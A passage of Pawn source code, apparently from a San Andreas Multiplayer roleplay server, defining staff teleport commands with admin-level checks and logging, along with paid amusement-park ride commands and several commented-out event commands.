			SCM(user,COLOR_RED,toto);
			ragoto[playerid] = 0;
			Goto[playerid] = 9999;
			}
			else
			{
			new toto[128];
			format(toto,sizeof(toto),"{C60000}Admin %s goes to you",admname);
			if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pAdmin] < 7)
			{
			new adm[114];
			format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to player %s.", admname, tarafn);
			AdminWarn(adm);
			}
			SCM(user,COLOR_RED,toto);
			}
			if(IsPlayerInAnyVehicle(playerid))
			{
				GetVehiclePos(GetPlayerVehicleID(playerid), GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				SetVehiclePos(GetPlayerVehicleID(playerid),PpX+0.5,PpY+0.5,PpZ);
				LinkVehicleToInterior(GetPlayerVehicleID(playerid),GetPlayerInterior(user));
				SetVehicleVirtualWorld(GetPlayerVehicleID(playerid), GetPlayerVirtualWorld(user));
				return 1;
			}
			SetPlayerPos(playerid,PpX+0.3,PpY+0.3,PpZ);
			return 1;
		}
		
		
		
		// By SiNaGaMeR
		
		/*
			if (strcmp("/FunnyCows", cmdtext, true, 10) == 0)
	{
	   if(!PlayerToPoint(10.0, playerid, 907.5213, -1876.3138, 9.4980)) return SendMessage(playerid, COLOR_RED, "Error: You must be near to the Funny Cows.");
	   if(GetPlayerPool(playerid) < 150)
	   {
	   SendClientMessage(playerid, COLOR_GRAD5, "You haven't enough cash (150$)");
	   return 1;
	   }
		if(IsObjectMoving(Carousel_Base)) return 1;
		new Float:pos[3];
		GetObjectPos(Carousel_Base, pos[0], pos[1], pos[2]);

		new Float:rot[3];
		GetObjectRot(Carousel_Base, rot[0], rot[1], rot[2]);

		if(rot[2] == 0.0) MoveObject(Carousel_Base, pos[0], pos[1], pos[2]+0.1005, 0.01, 0.00, 0.00, 180.00);
	   GivePlayerPool(playerid,-150);
	   GameTextForPlayer(playerid, "~r~-$150", 3000, 1);
		return 1;
	}
	*/
	//Carousel


	//Observer     mirebalaaaa
	if (strcmp("/Tran", cmdtext, true, 10) == 0)
	{
	   if(!PlayerToPoint(10.0, playerid, 811.3198, -1878.6244, 8.8748)) return SendMessage(playerid, COLOR_RED, "Error: You must be near to the Tran.");
	   if(GetPlayerPool(playerid) < 800)
	   {
	   SendClientMessage(playerid, COLOR_LIGHTRED, "You haven't enough cash.");
	   return 1;
	   }
	   if(IsObjectMoving(Observer_Base)) return 1;
	   new Float:pos[3];
	   GetObjectPos(Observer_Base, pos[0], pos[1], pos[2]);

	   new Float:rot[3];
	   GetObjectRot(Observer_Base, rot[0], rot[1], rot[2]);
	   if(rot[2] == 0) MoveObject(Observer_Base, pos[0], pos[1], pos[2]+95.61682, 5.5, 0, 0, 180);
	   GivePlayerPool(playerid,-800);
	   GameTextForPlayer(playerid, "~r~-$800", 3000, 1);
		return 1;
	}
	//Observer

	//FerrisWheel   charkhofalak
	if (strcmp("/Carousels", cmdtext, true, 10) == 0)
	{
	   if(!PlayerToPoint(10.0, playerid, 844.4186, -2033.4902, 13.9381)) return SendMessage(playerid, COLOR_RED, "Error: You must be near to the Carousels.");
	   if(GetPlayerPool(playerid) < 200)
	   {
	   SendClientMessage(playerid, COLOR_LIGHTRED, "You haven't enough cash.");
	   return 1;
	   }
		if(IsObjectMoving(FerrisWheel_Base)) return 1;
		new Float:pos[3];
		GetObjectPos(FerrisWheel_Base, pos[0], pos[1], pos[2]);
		new Float:rot[3];
		GetObjectRot(FerrisWheel_Base, rot[0], rot[1], rot[2]);
		if(rot[1] == 0.00) MoveObject(FerrisWheel_Base, pos[0], pos[1], pos[2]+0.05, 0.01, 0.00, 180.00, 90.00);
	   GivePlayerPool(playerid,-200);
	   GameTextForPlayer(playerid, "~r~-$200", 3000, 1);
		return 1;
	}
	//FerrisWheel


	//Crazy Cow    cow
	if (strcmp("/WildCows", cmdtext, true, 10) == 0)
	{
	   if(!PlayerToPoint(10.0, playerid, 827.8211, -1936.4899, 13.6937)) return SendMessage(playerid, COLOR_RED, "Error: You must be near to the Wild Cows.");
	   if(GetPlayerPool(playerid) < 10)
	   {
	   SendClientMessage(playerid, COLOR_LIGHTRED, "You haven't enough cash.");
	   return 1;
	   }
		if(IsObjectMoving(Cow_Seats[0])) return 1;
		new Float:pos[12];
		GetObjectPos(Cow_Seats[0], pos[0], pos[1], pos[2]);
		new Float:rot[3];
		GetObjectRot(Cow_Seats[0], rot[0], rot[1], rot[2]);
		MoveObject(Cow_Seats[0], pos[0], pos[1], pos[2]+0.05, 0.5, random(10), random(10), random(5));
		MoveObject(Cow_Seats[1], pos[3], pos[4], pos[5]+0.05, 0.5, random(10), random(10), random(5));
		MoveObject(Cow_Seats[2], pos[6], pos[7], pos[8]+0.05, 0.5, random(10), random(10), random(5));
		MoveObject(Cow_Seats[3], pos[9], pos[10], pos[11]+0.05, 0.5, random(10), random(10), random(5));
		retere = 0;
		SetTimer("StopBull", BULL_TIME, 0);
	   GivePlayerPool(playerid,-10);
	   GameTextForPlayer(playerid, "~r~-$10", 3000, 1);
		return 1;
	}
		////////////////////////////////////
		
		
		
		
		
		
		
		
		
		
		
		
		/*
		if(strcmp(cmd, "/egoto", true) == 0)
		{
			if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /egoto <Playerid/PartOfName>");
			new user = ReturnUser6(tmp);
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_SINA3,"Player isn't connected.");
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: Sorry, you can't teleport to any player because you are prisoner.");
			if(Specing[user] >= 1) return SCM(playerid,COLOR_SINA2,"Error: That player is on specing.");
			if(EventPlayer[user] == 0)
			{
			SCM(playerid, COLOR_YELLOW2, "Error: You couldn't go to this player.");
			return 1;
			}
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command, because you're sleeping.");
			if(user == playerid) return SCM(playerid,COLOR_SINA2,"Error: You can't use this command for yourself.");
			if(NoGoto[user] == 1)
			{
			SCM(playerid, COLOR_YELLOW2, "Error: That player enabled NoGoto.");
			return 1;
			}
			//if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't goto admins.");
			GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
			GoBack1[playerid][0] = GetPlayerInterior(playerid);
			GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
			GoBack1[playerid][2] = Mahal[playerid];
			GoBack1[playerid][3] = TooHouse[playerid];
			GoBack1[playerid][4] = TooBiz[playerid];
			new Float:PpX,Float:PpY,Float:PpZ;
			GetPlayerPos(user,PpX,PpY,PpZ);
			if(IsPlayerInAnyVehicle(user)) GetVehiclePos(GetPlayerVehicleID(user),PpX,PpY,PpZ);
			SetPlayerVirtualWorld(playerid,GetPlayerVirtualWorld(user));
			SetPlayerInterior(playerid,GetPlayerInterior(user));
			Mahal[playerid] = Mahal[user];
			TooHouse[playerid] = TooHouse[user];
			TooBiz[playerid] = TooBiz[user];
			new admname[64];
			GetPlayerName(playerid, admname, sizeof(admname));
			new tarafn[40];
			GetPlayerName(user, tarafn, sizeof(tarafn));
			new toto[128];
			format(toto,sizeof(toto),"Event organizer %s goes to you",admname);
			new adm[144];
			format(adm, sizeof(adm), "{ffffff}Event organizer %s goes to player %s.", admname, tarafn);
			AdminWarn(adm);
			SCM(user,COLOR_SINARANG,toto);
			if(IsPlayerInAnyVehicle(playerid))
			{
				GetVehiclePos(GetPlayerVehicleID(playerid), GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				SetVehiclePos(GetPlayerVehicleID(playerid),PpX+0.5,PpY+0.5,PpZ);
				LinkVehicleToInterior(GetPlayerVehicleID(playerid),GetPlayerInterior(user));
				SetVehicleVirtualWorld(GetPlayerVehicleID(playerid), GetPlayerVirtualWorld(user));
				return 1;
			}
			SetPlayerPos(playerid,PpX+0.3,PpY+0.3,PpZ);
			return 1;
		}
		*/
		/*
	   if(strcmp(cmd, "/goto4rah", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
		  if(PlayerInfo[playerid][pAdmin] >= 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, 1359.235351,-1037.400634,25.714321);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
				SetPlayerPos(playerid, 1359.235351,-1037.400634,25.714321);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
				new adm[114];
			 {
			format(adm, sizeof(adm), "{FFFFFF}Admin %s has Go to 4Rah !", PlayerInfo[playerid][pName]);
			AdminWarn(adm);
			 }
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported !");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_SINA3, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
*/
	if(strcmp(cmd, "/requestgoto", true) == 0)
		{
			if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pHelper] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
			if(PINFO[playerid][pAdmin] >= 1 || PINFO[playerid][pHelper] >= 5) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
			//if(PINFO[playerid][pHelper] >= 5) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
			tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Requestgoto <Playerid/PartOfName> <Reason>");
					return 1;
				}
				new user = ReturnUser6(tmp);
				GetPlayerName(playerid, sendername, sizeof(sendername));
				GetPlayerName(user, giveplayer, sizeof(giveplayer));
							new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
							new result[64];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /Requestgoto <Playerid/PartOfName> <Reason>");
								return 1;
							}
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_SINA3,"Player isn't connected.");
			if(user == playerid) return SCM(playerid,COLOR_SINA3,"You can't request to goto yourself.");
			//if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pHelper] >= 1 && PINFO[user][pAdmin] >= 1) return SCM(playerid,COLOR_SINA2,"Error: You can't request to goto admins.");
			Goto[playerid] = user;
			/*
			new string[256];
			format(string, 256, "{FFFFFF}Helper %s(%d) requested to goto %s(%d) for: %s.", sendername, playerid, giveplayer, user, (result));
			AdminWarn(string);
			
		  new hlp[256];
		  format(hlp, 256, "[Helper-Warn]: {FFFFFF}Helper %s(%d) requested to goto %s(%d) for: %s.", sendername, playerid, giveplayer, user, (result));
		  SendHelperMessage(COLOR_SINAABI, hlp);
			return 1;
			*/
			
//		new string[256];
		format(string,sizeof(string),"[Warn]: {ffffff}Helper %s has requested to goto %s, reason: %s",sendername, giveplayer, (result));
		SendHAMessage(COLOR_AdminWarn, string);


		}

	if(strcmp(cmd, "/arg", true) == 0)
		{
		  if(PINFO[playerid][pAdmin] <= 1 && PINFO[playerid][pHelper] < 5) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /arg <Playerid/PartOfName>");
					return 1;
				}
			new user = ReturnUser6(tmp);
			if(PINFO[playerid][pAdmin] == 0 && PINFO[user][pAdmin] >= 1) return SCM(playerid,COLOR_GREEN,"Error: You can't use this command for admins.");
			GetPlayerName(playerid, sendername, sizeof(sendername));
			GetPlayerName(Goto[user], giveplayer, sizeof(giveplayer));
			GetPlayerName(user, giveplayeru, sizeof(giveplayeru));
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_SINA3,"Player isn't connected.");
			//if(Goto[user] == 9999) return SCM(playerid,COLOR_SINA3,"Player has not request goto.");
			//if(Goto[user] == INVALID_PLAYER_ID) return SCM(playerid,COLOR_SINA3,"Error: Player didn't requested any goto.");
//			new string[256];
			format(string, 256, "Admin/Helper %s accepted your request for goto to %s.", sendername, giveplayer);
			//SendMessage(user, COLOR_AdminWarn, string);
			/*
			GetPlayerPos(user, GoBack[user][0], GoBack[user][1], GoBack[user][2]);
			GoBack1[user][0] = GetPlayerInterior(user);
			GoBack1[user][1] = GetPlayerVirtualWorld(user);
			GoBack1[user][2] = Mahal[user];
			GoBack1[user][3] = TooHouse[user];
			GoBack1[user][4] = TooBiz[user];
			new Float:PpX,Float:PpY,Float:PpZ;
			GetPlayerPos(Goto[user],PpX,PpY,PpZ);
			if(IsPlayerInAnyVehicle(user)) GetVehiclePos(GetPlayerVehicleID(Goto[user]),PpX,PpY,PpZ);
			SetPlayerVirtualWorld(user,GetPlayerVirtualWorld(Goto[user]));
			SetPlayerInterior(user,GetPlayerInterior(Goto[user]));
			Mahal[user] = Mahal[Goto[user]];
			TooHouse[user] = TooHouse[Goto[user]];
			TooBiz[user] = TooBiz[Goto[user]];
			new admname[64];
			GetPlayerName(user, admname, sizeof(admname));
			new toto[128];
			new user2 = Goto[user];
			format(toto,sizeof(toto),"{D0000F}Helper %s goes to you", admname);
			
			
		  new hlp[512];
		  format(hlp, sizeof(hlp), "[Helper-Warn]: {FFFFFF}Helper %s goes to %s.", PlayerInfo[user][pName], giveplayer);
		  SendHelperMessage(COLOR_SINAABI, hlp);


			SCM(user2, COLOR_RED, toto);
			SCM(user,COLOR_CRS4,"You have been teleported.");
*/
ragoto[user] = 1;
			new string3[144];
			if(PINFO[playerid][pHelper] >= 1 && PINFO[playerid][pAdmin] == 0)
			{
			  format(string3, sizeof(string3), "[Helper-Warn]: {FFFFFF}Helper %s gives premission of goto to %s", sendername, giveplayeru, giveplayer);
			  SendHelperMessage(COLOR_SINAABI, string3);
			  WriteAdminLog(string3);
			}
			if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pAdmin] < 6)
			{
			  format(string3, sizeof(string3), "{FFFFFF}Admin %s gives premission of goto to %s.", sendername, giveplayeru, giveplayer);
			  //AdminWarn(string3);
			  SendHelperMessage(COLOR_SINAABI, string3);
			  WriteAdminLog(string3);
			}
			if(PINFO[playerid][pAdmin] == 6)
			{
			  format(string3, sizeof(string3), "{FFFFFF}Supervisor %s gives premission of goto to %s.", sendername, giveplayeru, giveplayer);
			  //AdminWarn(string3);
			  SendHelperMessage(COLOR_SINAABI, string3);
			  WriteAdminLog(string3);
			}
			if(PINFO[playerid][pAdmin] >= 7 && PINFO[playerid][pAdmin] < 10)
			{
			  format(string3, sizeof(string3), "{FFFFFF}Hoster %s gives premission of goto to %s.", sendername, giveplayeru, giveplayer);
			  //AdminWarn(string3);
			  SendHelperMessage(COLOR_SINAABI, string3);
			  WriteAdminLog(string3);
			}
			if(PINFO[playerid][pAdmin] == 10)
			{
			  format(string3, sizeof(string3), "{FFFFFF}Assistant %s gives premission of goto to %s.", sendername, giveplayeru, giveplayer);
			  //AdminWarn(string3);
			  SendHelperMessage(COLOR_SINAABI, string3);
			  WriteAdminLog(string3);
			}
			if(PINFO[playerid][pAdmin] == 11)
			{
			  format(string3, sizeof(string3), "{FFFFFF}CM Manager %s gives premission of goto to %s.", sendername, giveplayeru, giveplayer);
			  //AdminWarn(string3);
			  SendHelperMessage(COLOR_SINAABI, string3);
			  WriteAdminLog(string3);
			}
			if(PINFO[playerid][pAdmin] == 12)
			{
			  format(string3, sizeof(string3), "{FFFFFF}CM Founder %s gives premission of goto to %s.", sendername, giveplayeru, giveplayer);
			  //AdminWarn(string3);
			  SendHelperMessage(COLOR_SINAABI, string3);
			  WriteAdminLog(string3);
			}
			if(PINFO[playerid][pAdmin] == 13)
			{
			  format(string3, sizeof(string3), "{FFFFFF}CM Scripter %s gives premission of goto to %s.", sendername, giveplayeru, giveplayer);
			  //AdminWarn(string3);
			  SendHelperMessage(COLOR_SINAABI, string3);
			  WriteAdminLog(string3);
			}
			if(PINFO[playerid][pAdmin] >= 14)
			{
			  format(string3, sizeof(string3), "{FFFFFF}CM Founder %s gives premission of goto to %s.", sendername, giveplayeru, giveplayer);
			  //AdminWarn(string3);
			  SendHelperMessage(COLOR_SINAABI, string3);
			  WriteAdminLog(string3);
			}
			/*
			if(IsPlayerInAnyVehicle(Goto[user]))
			{
				GetVehiclePos(GetPlayerVehicleID(user), GoBack[user][0], GoBack[user][1], GoBack[user][2]);
				SetVehiclePos(GetPlayerVehicleID(user),PpX+0.5,PpY+0.5,PpZ);
				LinkVehicleToInterior(GetPlayerVehicleID(user),GetPlayerInterior(Goto[user]));
				SetVehicleVirtualWorld(GetPlayerVehicleID(user), GetPlayerVirtualWorld(Goto[user]));
				return 1;
			}
			SetPlayerPos(user,PpX+0.3,PpY+0.3,PpZ);
			Goto[user] = 9999;
*/
			return 1;
		}
	//----------------------------------[GETHERE]-----------------------------------------------
	   if(strcmp(cmd, "/gethere", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 4 && PINFO[playerid][pSponser] == 0) return SCM(playerid,COLOR_GREEN,"Error: Your Admin level isn't high enough to use this command.");

			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /gethere <Playerid/PartOfName>");
			new user = ReturnUser6(tmp);
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_YELLOW2,"Player isn't connected.");
			if(user == playerid) return SCM(playerid,COLOR_SINA2,"Error: You can't use this command for yourself.");
		  if(InSleep[user] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't teleport this player because that player is asleep.");
			if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't teleport your higher admin levels.");
			if(Specing[user] >= 1) return SCM(playerid,COLOR_SINA2,"Error: That player is on specing.");
			if(PlayerInfo[user][pJailTime] >= 1)
			{
			SCM(playerid,COLOR_SINA2,"Error: You can't teleport someone who is prisoner.");
			return 1;
			}
			if(NoTP[user] == 1 && PINFO[playerid][pAdmin] < 10 && PINFO[user][pAdmin] < PINFO[playerid][pAdmin])
			{
			SCM(playerid, COLOR_YELLOW2, "Error: You can't teleport this player because that player enabled NoTP.");
			return 1;
			}
			if(gPlayerLogged[user] != 1) return SCM(playerid,COLOR_SINA2,"Error: You can't teleport this player now.");
			//if(PINFO[user][pAdmin] >= 7 && PINFO[playerid][pAdmin] <= 6) return SCM(playerid,COLOR_SINA2,"Error: You can't teleport your higher admin levels.");
			new Float:PpX,Float:PpY,Float:PpZ;
			GetPlayerPos(playerid,PpX,PpY,PpZ);
			if(IsPlayerInAnyVehicle(playerid)) GetVehiclePos(GetPlayerVehicleID(playerid),PpX,PpY,PpZ);
			SetPlayerVirtualWorld(user,GetPlayerVirtualWorld(playerid));
			SetPlayerInterior(user,GetPlayerInterior(playerid));
			Mahal[user] = Mahal[playerid];
			TooHouse[user] = TooHouse[playerid];
			TooBiz[user] = TooBiz[playerid];
			if(TooBiz[playerid] == 9 || TooBiz[playerid] == 8) FreezePlayer(user);
			new admnamee[64];
			GetPlayerName(playerid, admnamee, sizeof(admnamee));
			new strings[512];
		  format(strings, sizeof(strings), "You have been teleported by %s",admnamee);
			SCM(user, COLOR_CRS4,strings);
			SCM(playerid,COLOR_CRS4,"Player teleported.");
			new admname[64];
			GetPlayerName(playerid, admname, sizeof(admname));
			new tarafn[40];
			GetPlayerName(user, tarafn, sizeof(tarafn));
			new adm[114];
			format(adm, sizeof(adm), "{FFFFFF}Admin %s gothere %s (With-Vehicle).", admname, tarafn);
			AdminWarn(adm);
			if(IsPlayerInAnyVehicle(user))
			{
				SetVehiclePos(GetPlayerVehicleID(user),PpX+0.5,PpY+0.5,PpZ);
				LinkVehicleToInterior(GetPlayerVehicleID(user),GetPlayerInterior(playerid));
				return 1;
			}
			SetPlayerPos(user,PpX+0.3,PpY+0.3,PpZ);
			return 1;
		}
/* ----------------------[ Start Of The GetHere Bedoune Vehicle ]------------------- */
		  if(strcmp(cmd, "/gh", true) == 0)// Ranger ;d
		{
			if(PINFO[playerid][pAdmin] < 4 && PINFO[playerid][pSponser] == 0) return SCM(playerid,COLOR_GREEN,"Error: Your Admin level isn't high enough to use this command.");

			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /gh <Playerid/PartOfName>");
			new user = ReturnUser6(tmp);
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_YELLOW2,"Player isn't connected.");
			if(user == playerid) return SCM(playerid,COLOR_SINA2,"Error: You can't use this command for yourself.");
		  if(InSleep[user] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't teleport this player because that player is asleep.");
			if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't teleport your higher admin levels.");
			if(Specing[user] >= 1) return SCM(playerid,COLOR_SINA2,"Error: That player is on specing.");
			if(PlayerInfo[user][pJailTime] >= 1)
			{
			SCM(playerid,COLOR_SINA2,"Error: You can't teleport someone who is prisoner.");
			return 1;
			}
			if(NoTP[user] == 1 && PINFO[playerid][pAdmin] < 10 && PINFO[user][pAdmin] < PINFO[playerid][pAdmin])
			{
			SCM(playerid, COLOR_YELLOW2, "Error: You can't teleport this player because that player enabled NoTP.");
			return 1;
			}
			if(gPlayerLogged[user] != 1) return SCM(playerid,COLOR_SINA2,"Error: You can't teleport this player now.");
			//if(PINFO[user][pAdmin] >= 7 && PINFO[playerid][pAdmin] <= 6) return SCM(playerid,COLOR_SINA2,"Error: You can't teleport your higher admin levels.");
			new Float:PpX,Float:PpY,Float:PpZ;
			GetPlayerPos(playerid,PpX,PpY,PpZ);
			SetPlayerVirtualWorld(user,GetPlayerVirtualWorld(playerid));
			SetPlayerInterior(user,GetPlayerInterior(playerid));
			Mahal[user] = Mahal[playerid];
			TooHouse[user] = TooHouse[playerid];
			TooBiz[user] = TooBiz[playerid];
			if(TooBiz[playerid] == 9 || TooBiz[playerid] == 8) FreezePlayer(user);
			new admnamee[64];
			GetPlayerName(playerid, admnamee, sizeof(admnamee));
			new strings[512];
		  format(strings, sizeof(strings), "You have been teleported by %s",admnamee);
			SCM(user, COLOR_CRS4,strings);
			SCM(playerid,COLOR_CRS4,"Player teleported.");
			new admname[64];
			GetPlayerName(playerid, admname, sizeof(admname));
			new tarafn[40];
			GetPlayerName(user, tarafn, sizeof(tarafn));
			new adm[114];
			format(adm, sizeof(adm), "{FFFFFF}Admin %s gothere %s (Without-Vehicle).", admname, tarafn);
			AdminWarn(adm);
			{
			SetPlayerPos(user,PpX+0.3,PpY+0.3,PpZ);
			return 1;
		}
   }
   

   /*
   if(!strcmp(cmd,"/sgh",true))
{
if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pSlp] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
	   if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command.");
			 return 1;
	   }
		 for( new i; i < MAX_PLAYERS; i++ )
		 {
			if(PINFO[i][pLeader] != 0 && PINFO[i][pHelper] != 0 && PINFO[i][pAdmin] != 0)
			{
			 if(i != playerid)
			 {
			  if(staffget[i] != 0)
			  {
		  new Float:PpX,Float:PpY,Float:PpZ;
			GetPlayerPos(playerid,PpX,PpY,PpZ);
			SetPlayerVirtualWorld(i,GetPlayerVirtualWorld(playerid));
			SetPlayerInterior(i,GetPlayerInterior(playerid));
			Mahal[i] = Mahal[playerid];
			TooHouse[i] = TooHouse[playerid];
			TooBiz[i] = TooBiz[playerid];
			new strings[144];
		  format(strings, sizeof(strings), "You have been teleported by %s (Staff-Gathering)",PINFO[playerid][pName]);
			SCM(i, COLOR_CRS4,strings);
			SetPlayerPos(i,PpX+0.3,PpY+0.3,PpZ);
			new adm[256];
			format(adm, sizeof(adm), "{FFFFFF}Admin %s has gothere all staffs.", PINFO[playerid][pName]);
			AdminWarn(adm);
			staffget[i] = 1;
			  }
			 }
			}
		   }
	   
	   
	   
	return 1;
}
*/
/*
   if(!strcmp(cmd,"/ssgh",true))
{
	if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pSlp] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");

		 for( new i; i < MAX_PLAYERS; i++ )
		 {
		 staffget[i] = 0;
		 }
		 new strings[144];
		 format(strings, sizeof(strings), "Now you can teleport all staffs again.");
		 SCM(playerid, COLOR_WHITE,strings);

	return 1;
}
   */
   /*
   if(strcmp(cmd, "/egh", true) == 0)// Ranger ;d
		{
			if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");

			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /egh <Playerid/PartOfName>");
			new user = ReturnUser6(tmp);
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_SINA3,"Player isn't connected.");
			if(EventPlayer[user] == 0)
			{
			SCM(playerid, COLOR_YELLOW2, "Error: You couldn't get this player.");
			return 1;
			}
			if(user == playerid) return SCM(playerid,COLOR_SINA2,"Error: You can't use this command for yourself.");
		  if(InSleep[user] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't teleport this player because that player is asleep.");
			if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't teleport your higher admin levels.");
			if(Specing[user] >= 1) return SCM(playerid,COLOR_SINA2,"Error: That player is on specing.");
			if(PlayerInfo[user][pJailTime] >= 1)
			{
			SCM(playerid,COLOR_SINA2,"Error: You can't teleport someone who is prisoner.");
			return 1;
			}
			if(NoTP[user] == 1)
			{
			SCM(playerid, COLOR_YELLOW2, "Error: You can't teleport this player because that player enabled NoTP.");
			return 1;
			}
			if(PINFO[user][pAdmin] >= 7 && PINFO[playerid][pAdmin] <= 6) return SCM(playerid,COLOR_SINA2,"Error: You can't teleport your higher admin levels.");
			new Float:PpX,Float:PpY,Float:PpZ;
			GetPlayerPos(playerid,PpX,PpY,PpZ);
			SetPlayerVirtualWorld(user,GetPlayerVirtualWorld(playerid));
			SetPlayerInterior(user,GetPlayerInterior(playerid));
			Mahal[user] = Mahal[playerid];
			TooHouse[user] = TooHouse[playerid];
			TooBiz[user] = TooBiz[playerid];
			new admnamee[64];
			GetPlayerName(playerid, admnamee, sizeof(admnamee));
			new strings[512];
		  format(strings, sizeof(strings), "You have been teleported by event organizer %s",admnamee);
			SCM(user, COLOR_CRS4,strings);
			SCM(playerid,COLOR_CRS4,"Player teleported.");
			new admname[64];
			GetPlayerName(playerid, admname, sizeof(admname));
			new tarafn[40];
			GetPlayerName(user, tarafn, sizeof(tarafn));
			new adm[114];
			format(adm, sizeof(adm), "{FFFFFF}Event-Organizer %s gothere %s (Without-Vehicle).", admname, tarafn);
			AdminWarn(adm);
			{
			SetPlayerPos(user,PpX+0.3,PpY+0.3,PpZ);
			return 1;
		}
   }*/
   /*
   if(strcmp(cmd, "/egethere", true) == 0)
		{
			if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");

			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /egethere <Playerid/PartOfName>");
			new user = ReturnUser6(tmp);
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_SINA3,"Player isn't connected.");
			if(EventPlayer[user] == 0)
			{
			SCM(playerid, COLOR_YELLOW2, "Error: You couldn't get this player.");
			return 1;
			}
			if(user == playerid) return SCM(playerid,COLOR_SINA2,"Error: You can't use this command for yourself.");
		  if(InSleep[user] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't teleport this player because that player is asleep.");
			if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't teleport your higher admin levels.");
			if(Specing[user] >= 1) return SCM(playerid,COLOR_SINA2,"Error: That player is on specing.");
			if(PlayerInfo[user][pJailTime] >= 1)
			{
			SCM(playerid,COLOR_SINA2,"Error: You can't teleport someone who is prisoner.");
			return 1;
			}
			if(NoTP[user] == 1)
			{
			SCM(playerid, COLOR_YELLOW2, "Error: You can't teleport this player because that player enabled NoTP.");
			return 1;
			}
			if(PINFO[user][pAdmin] >= 7 && PINFO[playerid][pAdmin] <= 6) return SCM(playerid,COLOR_SINA2,"Error: You can't teleport your higher admin levels.");
			new Float:PpX,Float:PpY,Float:PpZ;
			GetPlayerPos(playerid,PpX,PpY,PpZ);
			if(IsPlayerInAnyVehicle(playerid)) GetVehiclePos(GetPlayerVehicleID(playerid),PpX,PpY,PpZ);
			SetPlayerVirtualWorld(user,GetPlayerVirtualWorld(playerid));
			SetPlayerInterior(user,GetPlayerInterior(playerid));
			Mahal[user] = Mahal[playerid];
			TooHouse[user] = TooHouse[playerid];
			TooBiz[user] = TooBiz[playerid];
			new admnamee[64];
			GetPlayerName(playerid, admnamee, sizeof(admnamee));
			new strings[512];
